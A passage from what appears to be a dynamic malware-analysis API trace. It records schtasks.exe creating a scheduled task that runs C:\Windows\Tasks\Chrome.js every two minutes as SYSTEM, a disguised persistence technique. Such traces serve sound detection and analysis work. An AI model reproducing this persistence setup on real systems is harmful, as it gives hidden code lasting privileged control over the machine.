(in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.511] lstrlenW (lpString="|create|") returned 8 [0056.511] lstrlenW (lpString="|mo|") returned 4 [0056.511] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0056.511] SetLastError (dwErrCode=0x490) [0056.511] lstrlenW (lpString="?") returned 1 [0056.511] lstrlenW (lpString="?") returned 1 [0056.511] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.511] lstrlenW (lpString="mo") returned 2 [0056.511] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|?|") returned 3 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.512] lstrlenW (lpString="|?|") returned 3 [0056.512] lstrlenW (lpString="|mo|") returned 4 [0056.512] SetLastError (dwErrCode=0x490) [0056.512] lstrlenW (lpString="s") returned 1 [0056.512] lstrlenW (lpString="s") returned 1 [0056.512] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] lstrlenW (lpString="mo") returned 2 [0056.512] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|s|") returned 3 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.512] lstrlenW (lpString="|s|") returned 3 [0056.512] lstrlenW (lpString="|mo|") returned 4 [0056.512] SetLastError (dwErrCode=0x490) [0056.512] lstrlenW (lpString="u") returned 1 [0056.512] lstrlenW (lpString="u") returned 1 [0056.512] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] lstrlenW (lpString="mo") returned 2 [0056.512] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|u|") returned 3 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.512] lstrlenW (lpString="|u|") returned 3 [0056.512] lstrlenW (lpString="|mo|") returned 4 [0056.512] SetLastError (dwErrCode=0x490) [0056.512] lstrlenW (lpString="p") returned 1 [0056.512] lstrlenW (lpString="p") returned 1 [0056.512] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] lstrlenW (lpString="mo") returned 2 [0056.512] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|p|") returned 3 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.512] lstrlenW (lpString="|p|") returned 3 [0056.512] lstrlenW (lpString="|mo|") returned 4 [0056.512] SetLastError (dwErrCode=0x490) [0056.512] lstrlenW (lpString="ru") returned 2 [0056.512] lstrlenW (lpString="ru") returned 2 [0056.512] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] lstrlenW (lpString="mo") returned 2 [0056.512] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|ru|") returned 4 [0056.512] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.513] lstrlenW (lpString="|ru|") returned 4 [0056.513] lstrlenW (lpString="|mo|") returned 4 [0056.513] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0056.513] SetLastError (dwErrCode=0x490) [0056.513] lstrlenW (lpString="rp") returned 2 [0056.513] lstrlenW (lpString="rp") returned 2 [0056.513] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.513] lstrlenW (lpString="mo") returned 2 [0056.513] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.513] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|rp|") returned 4 [0056.513] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.513] lstrlenW (lpString="|rp|") returned 4 [0056.513] lstrlenW (lpString="|mo|") returned 4 [0056.513] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0056.513] SetLastError (dwErrCode=0x490) [0056.513] lstrlenW (lpString="sc") returned 2 [0056.513] lstrlenW (lpString="sc") returned 2 [0056.513] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.513] lstrlenW (lpString="mo") returned 2 [0056.513] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.513] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|sc|") returned 4 [0056.513] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.513] lstrlenW (lpString="|sc|") returned 4 [0056.513] lstrlenW (lpString="|mo|") returned 4 [0056.513] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0056.513] SetLastError (dwErrCode=0x490) [0056.513] lstrlenW (lpString="mo") returned 2 [0056.513] lstrlenW (lpString="mo") returned 2 [0056.513] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.513] lstrlenW (lpString="mo") returned 2 [0056.513] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.513] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.513] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|mo|") returned 4 [0056.513] lstrlenW (lpString="|mo|") returned 4 [0056.513] lstrlenW (lpString="|mo|") returned 4 [0056.513] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0056.513] SetLastError (dwErrCode=0x0) [0056.513] SetLastError (dwErrCode=0x0) [0056.513] lstrlenW (lpString="2") returned 1 [0056.513] SetLastError (dwErrCode=0x490) [0056.513] SetLastError (dwErrCode=0x0) [0056.513] lstrlenW (lpString="2") returned 1 [0056.513] StrChrIW (lpStart="2", wMatch=0x3a) returned 0x0 [0056.513] SetLastError (dwErrCode=0x490) [0056.514] SetLastError (dwErrCode=0x0) [0056.514] _memicmp (_Buf1=0x1bd5d0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.514] lstrlenW (lpString="2") returned 1 [0056.514] lstrlenW (lpString="2") returned 1 [0056.514] lstrlenW (lpString=" \x09") returned 2 [0056.514] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0056.514] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0056.514] GetLastError () returned 0x0 [0056.514] lstrlenW (lpString="2") returned 1 [0056.514] lstrlenW (lpString="2") returned 1 [0056.514] SetLastError (dwErrCode=0x0) [0056.514] SetLastError (dwErrCode=0x0) [0056.514] lstrlenW (lpString="/RU") returned 3 [0056.514] lstrlenW (lpString="-/") returned 2 [0056.514] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0056.514] lstrlenW (lpString="create") returned 6 [0056.514] lstrlenW (lpString="create") returned 6 [0056.514] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.514] lstrlenW (lpString="RU") returned 2 [0056.514] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.514] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|create|") returned 8 [0056.514] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|RU|") returned 4 [0056.514] lstrlenW (lpString="|create|") returned 8 [0056.514] lstrlenW (lpString="|RU|") returned 4 [0056.514] StrStrIW (lpFirst="|create|", lpSrch="|RU|") returned 0x0 [0056.514] SetLastError (dwErrCode=0x490) [0056.514] lstrlenW (lpString="?") returned 1 [0056.514] lstrlenW (lpString="?") returned 1 [0056.514] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.514] lstrlenW (lpString="RU") returned 2 [0056.514] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.514] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|?|") returned 3 [0056.514] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|RU|") returned 4 [0056.514] lstrlenW (lpString="|?|") returned 3 [0056.514] lstrlenW (lpString="|RU|") returned 4 [0056.514] SetLastError (dwErrCode=0x490) [0056.514] lstrlenW (lpString="s") returned 1 [0056.514] lstrlenW (lpString="s") returned 1 [0056.514] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.514] lstrlenW (lpString="RU") returned 2 [0056.514] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.514] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|s|") returned 3 [0056.514] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|RU|") returned 4 [0056.515] lstrlenW (lpString="|s|") returned 3 [0056.515] lstrlenW (lpString="|RU|") returned 4 [0056.515] SetLastError (dwErrCode=0x490) [0056.515] lstrlenW (lpString="u") returned 1 [0056.515] lstrlenW (lpString="u") returned 1 [0056.515] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.515] lstrlenW (lpString="RU") returned 2 [0056.515] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.515] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|u|") returned 3 [0056.515] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|RU|") returned 4 [0056.515] lstrlenW (lpString="|u|") returned 3 [0056.515] lstrlenW (lpString="|RU|") returned 4 [0056.515] SetLastError (dwErrCode=0x490) [0056.515] lstrlenW (lpString="p") returned 1 [0056.515] lstrlenW (lpString="p") returned 1 [0056.515] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.515] lstrlenW (lpString="RU") returned 2 [0056.515] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.515] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|p|") returned 3 [0056.515] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|RU|") returned 4 [0056.515] lstrlenW (lpString="|p|") returned 3 [0056.515] lstrlenW (lpString="|RU|") returned 4 [0056.515] SetLastError (dwErrCode=0x490) [0056.515] lstrlenW (lpString="ru") returned 2 [0056.515] lstrlenW (lpString="ru") returned 2 [0056.515] _memicmp (_Buf1=0x1bcab0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.515] lstrlenW (lpString="RU") returned 2 [0056.515] _memicmp (_Buf1=0x1bcaf0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.515] _vsnwprintf (in: _Buffer=0x1bcb30, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|ru|") returned 4 [0056.515] _vsnwprintf (in: _Buffer=0x1bcb10, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14c738 | out: _Buffer="|RU|") returned 4 [0056.515] lstrlenW (lpString="|ru|") returned 4 [0056.515] lstrlenW (lpString="|RU|") returned 4 [0056.515] StrStrIW (lpFirst="|ru|", lpSrch="|RU|") returned="|ru|" [0056.515] SetLastError (dwErrCode=0x0) [0056.515] SetLastError (dwErrCode=0x0) [0056.515] lstrlenW (lpString="SYSTEM") returned 6 [0056.515] lstrlenW (lpString="-/") returned 2 [0056.515] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0056.515] SetLastError (dwErrCode=0x490) [0056.515] SetLastError (dwErrCode=0x490) [0056.515] SetLastError (dwErrCode=0x0) [0056.515] lstrlenW (lpString="SYSTEM") returned 6 [0056.515] StrChrIW (lpStart="SYSTEM", wMatch=0x3a) returned 0x0 [0056.515] SetLastError (dwErrCode=0x490) [0056.516] SetLastError (dwErrCode=0x0) [0056.516] _memicmp (_Buf1=0x1bd5d0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.516] lstrlenW (lpString="SYSTEM") returned 6 [0056.516] lstrlenW (lpString="SYSTEM") returned 6 [0056.516] lstrlenW (lpString=" \x09") returned 2 [0056.516] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0056.516] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0056.516] StrChrW (lpStart=" \x09", wMatch=0x59) returned 0x0 [0056.516] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0056.516] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0056.516] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0056.516] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0056.516] GetLastError () returned 0x0 [0056.516] lstrlenW (lpString="SYSTEM") returned 6 [0056.516] SetLastError (dwErrCode=0x0) [0056.516] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.516] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0056.516] lstrlenW (lpString="MINUTE") returned 6 [0056.516] GetThreadLocale () returned 0x409 [0056.516] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0056.516] SetLastError (dwErrCode=0x0) [0056.516] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.516] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0056.516] lstrlenW (lpString="First") returned 5 [0056.516] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.516] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0056.516] lstrlenW (lpString="Second") returned 6 [0056.517] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.517] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0056.517] lstrlenW (lpString="Third") returned 5 [0056.517] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.517] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0056.517] lstrlenW (lpString="Fourth") returned 6 [0056.517] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.517] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0056.517] lstrlenW (lpString="Last") returned 4 [0056.517] lstrlenW (lpString="2") returned 1 [0056.517] _wtol (_String="2") returned 2 [0056.517] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.517] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0056.517] lstrlenW (lpString="First") returned 5 [0056.517] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.517] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0056.517] lstrlenW (lpString="Second") returned 6 [0056.517] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.517] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0056.517] lstrlenW (lpString="Third") returned 5 [0056.517] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.517] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0056.517] lstrlenW (lpString="Fourth") returned 6 [0056.517] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.517] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0056.517] lstrlenW (lpString="Last") returned 4 [0056.518] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x14c5b0, cchData=128 | out: lpLCData="0") returned 2 [0056.518] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.518] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0056.518] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0056.518] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x14c5d0, cchData=128 | out: lpLCData="0") returned 2 [0056.518] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.518] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1bd390, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0056.518] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0056.518] GetLocalTime (in: lpSystemTime=0x14c800 | out: lpSystemTime=0x14c800*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x21, wMilliseconds=0x276)) [0056.518] lstrlenW (lpString="") returned 0 [0056.518] GetLocalTime (in: lpSystemTime=0x14d0b8 | out: lpSystemTime=0x14d0b8*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x21, wMilliseconds=0x276)) [0056.518] lstrlenW (lpString="") returned 0 [0056.518] lstrlenW (lpString="") returned 0 [0056.519] lstrlenW (lpString="") returned 0 [0056.519] lstrlenW (lpString="") returned 0 [0056.519] lstrlenW (lpString="2") returned 1 [0056.519] _wtol (_String="2") returned 2 [0056.519] lstrlenW (lpString="") returned 0 [0056.519] lstrlenW (lpString="") returned 0 [0056.519] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0056.530] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0056.552] CoCreateInstance (in: rclsid=0xffc31ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffc31ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x14ce80 | out: ppv=0x14ce80*=0x2aded0) returned 0x0 [0056.560] TaskScheduler:ITaskService:Connect (This=0x2aded0, serverName=0x14cf60*(varType=0x8, wReserved1=0x14, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x14cf20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x14cf40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x14cf00*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0056.564] TaskScheduler:IUnknown:AddRef (This=0x2aded0) returned 0x2 [0056.564] TaskScheduler:ITaskService:GetFolder (in: This=0x2aded0, Path=0x0, ppFolder=0x14d018 | out: ppFolder=0x14d018*=0x2adf80) returned 0x0 [0056.565] TaskScheduler:ITaskService:NewTask (in: This=0x2aded0, flags=0x0, ppDefinition=0x14d010 | out: ppDefinition=0x14d010*=0x197cc0) returned 0x0 [0056.565] ITaskDefinition:get_Actions (in: This=0x197cc0, ppActions=0x14cf90 | out: ppActions=0x14cf90*=0x197d80) returned 0x0 [0056.565] IActionCollection:Create (in: This=0x197d80, Type=0, ppAction=0x14cfb0 | out: ppAction=0x14cfb0*=0x196150) returned 0x0 [0056.565] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0056.565] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0056.565] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0056.565] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0056.565] StrChrW (lpStart=" ", wMatch=0x57) returned 0x0 [0056.565] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x77) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x54) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x6a) returned 0x0 [0056.566] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0056.566] lstrlenW (lpString="C:\\Windows\\Tasks\\Chrome.js") returned 26 [0056.566] StrChrIW (lpStart="C:\\Windows\\Tasks\\Chrome.js", wMatch=0x20) returned 0x0 [0056.566] SetLastError (dwErrCode=0x490) [0056.566] IUnknown:Release (This=0x196150) returned 0x1 [0056.566] IUnknown:Release (This=0x197d80) returned 0x1 [0056.566] ITaskDefinition:get_Triggers (in: This=0x197cc0, ppTriggers=0x14cb10 | out: ppTriggers=0x14cb10*=0x197ec0) returned 0x0 [0056.566] ITriggerCollection:Create (in: This=0x197ec0, Type=1, ppTrigger=0x14cb08 | out: ppTrigger=0x14cb08*=0x1961c0) returned 0x0 [0056.566] lstrlenW (lpString="2") returned 1 [0056.566] _vsnwprintf (in: _Buffer=0x14ca90, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x14ca88 | out: _Buffer="PT2M") returned 4 [0056.566] ITrigger:get_Repetition (in: This=0x1961c0, ppRepeat=0x14cb00 | out: ppRepeat=0x14cb00*=0x196250) returned 0x0 [0056.567] IRepetitionPattern:put_Interval (This=0x196250, Interval="PT2M") returned 0x0 [0056.567] IUnknown:Release (This=0x196250) returned 0x1 [0056.567] _vsnwprintf (in: _Buffer=0x14ca50, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x14ca28 | out: _Buffer="2019-01-08T12:40:00") returned 19 [0056.567] ITrigger:put_StartBoundary (This=0x1961c0, StartBoundary="2019-01-08T12:40:00") returned 0x0 [0056.567] lstrlenW (lpString="") returned 0 [0056.567] lstrlenW (lpString="") returned 0 [0056.567] lstrlenW (lpString="") returned 0 [0056.567] lstrlenW (lpString="") returned 0 [0056.567] IUnknown:Release (This=0x1961c0) returned 0x1 [0056.567] IUnknown:Release (This=0x197ec0) returned 0x1 [0056.567] ITaskDefinition:get_Settings (in: This=0x197cc0, ppSettings=0x14cfb0 | out: ppSettings=0x14cfb0*=0x195f90) returned 0x0 [0056.567] lstrlenW (lpString="") returned 0 [0056.567] IUnknown:Release (This=0x195f90) returned 0x1 [0056.567] GetLocalTime (in: lpSystemTime=0x14ce68 | out: lpSystemTime=0x14ce68*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x21, wMilliseconds=0x2a5)) [0056.567] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff0e0000 [0056.567] GetUserNameW (in: lpBuffer=0x14ce90, pcbBuffer=0x14ce78 | out: lpBuffer="aETAdzjz", pcbBuffer=0x14ce78) returned 1 [0056.568] ITaskDefinition:get_RegistrationInfo (in: This=0x197cc0, ppRegistrationInfo=0x14ce60 | out: ppRegistrationInfo=0x14ce60*=0x197e00) returned 0x0 [0056.568] IRegistrationInfo:put_Author (This=0x197e00, Author="") returned 0x0 [0056.568] _vsnwprintf (in: _Buffer=0x14ce90, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x14ce28 | out: _Buffer="2019-01-08T12:40:33") returned 19 [0056.568] IRegistrationInfo:put_Date (This=0x197e00, Date="") returned 0x0 [0056.568] IUnknown:Release (This=0x197e00) returned 0x1 [0056.568] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.568] GetThreadLocale () returned 0x409 [0056.568] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="SYSTEM", cchCount1=-1, lpString2="SYSTEM", cchCount2=-1) returned 2 [0056.568] _memicmp (_Buf1=0x1bbba0, _Buf2=0xffc31b08, _Size=0x7) returned 0 [0056.569] GetThreadLocale () returned 0x409 [0056.569] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="SYSTEM", cchCount1=-1, lpString2="SYSTEM", cchCount2=-1) returned 2 [0056.569] CreateWellKnownSid (in: WellKnownSidType=0x16, DomainSid=0x0, pSid=0x14cf80, cbSid=0x14cf78 | out: pSid=0x14cf80*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), cbSid=0x14cf78) returned 1 [0056.569] LoadLibraryExA (lpLibFileName="API-MS-Win-Security-SDDL-L1-1-0.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff1c0000 [0056.569] ConvertSidToStringSidW () returned 0x1 [0056.569] LocalFree (hMem=0x1bdd30) returned 0x0 [0056.569] SysStringLen (param_1="S-1-5-18") returned 0x8 [0056.569] _memicmp 